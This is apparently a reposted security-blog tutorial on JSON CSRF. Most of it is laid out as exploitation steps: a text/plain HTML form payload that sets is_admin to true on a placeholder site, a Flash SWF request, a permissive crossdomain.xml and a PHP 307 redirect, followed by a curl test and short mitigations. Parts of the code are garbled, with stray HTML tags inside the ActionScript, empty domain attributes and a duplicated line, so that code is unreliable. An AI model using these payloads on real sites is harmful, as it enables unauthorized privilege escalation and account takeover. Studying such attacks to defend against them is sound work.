Listen to this Post
JSON CSRF attacks occur when a server accepts JSON data but fails to enforce proper Content-Type validation. If the server processes requests with `Content-Type: text/plain` instead of application/json, an attacker can craft a malicious HTML form to submit JSON data via CSRF.
Exploitation Steps:
1. Craft a Malicious HTML Form:
<form action="https://victim-site.com/api/update" method="POST" enctype="text/plain">
<input name='{"email":"[email protected]","is_admin":true,"padding":"' value='dummy"}' type="hidden">
<input type="submit" value="Submit">
</form>
– The `enctype=”text/plain”` bypasses JSON validation.
– The `padding` field ensures valid JSON syntax.
2. Using Flash (.swf) for Advanced Exploitation:
- Host a malicious SWF file that forces a JSON POST request:
import flash.net.URLRequest; import flash.net.URLVariables; import flash.net.navigateToURL;</li> </ul> var request:URLRequest = new URLRequest("https://victim-site.com/api/update"); var data:URLVariables = new URLVariables(); data.json = '{"email":"[email protected]","is_admin":true}'; request.data = data; request.method = "POST"; navigateToURL(request, "_self");3. Cross-Domain Policy Bypass:
- Host a `crossdomain.xml` to allow Flash requests from any domain:
<cross-domain-policy> <allow-access-from domain="" secure="false"/> <allow-http-request-headers-from domain="" headers="" secure="false"/> </cross-domain-policy>
4. PHP 307 Redirect for Persistent Attack:
- Use a PHP file to force a 307 redirect (keeps POST data):
<?php header("Location: https://victim-site.com/api/update", true, 307); ?>
You Should Know:
- Testing for JSON CSRF:
curl -X POST -H "Content-Type: text/plain" -d '{"key":"value"}' https://victim-site.com/api
If the server responds without errors, it’s vulnerable.
- Mitigation:
- Enforce
Content-Type: application/json. - Use CSRF tokens in JSON requests.
- Implement CORS restrictions.
-
Linux Command to Check Headers:
curl -I -X POST https://victim-site.com/api
What Undercode Say:
JSON CSRF remains a critical threat when servers misconfigure MIME type handling. Attackers exploit weak validation to submit unauthorized JSON data. Defenders must enforce strict `Content-Type` checks and implement anti-CSRF tokens.
Expected Output:
A successful JSON CSRF attack modifies server data without user consent, leading to account takeover or privilege escalation.
Prediction:
As APIs grow, JSON CSRF attacks will rise unless developers adopt strict input validation and security headers.
(Relevant article: OWASP CSRF Guide)
IT/Security Reporter URL:
Reported By: Zlatanh Csrf – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅Join Our Cyber World:
- Host a `crossdomain.xml` to allow Flash requests from any domain:
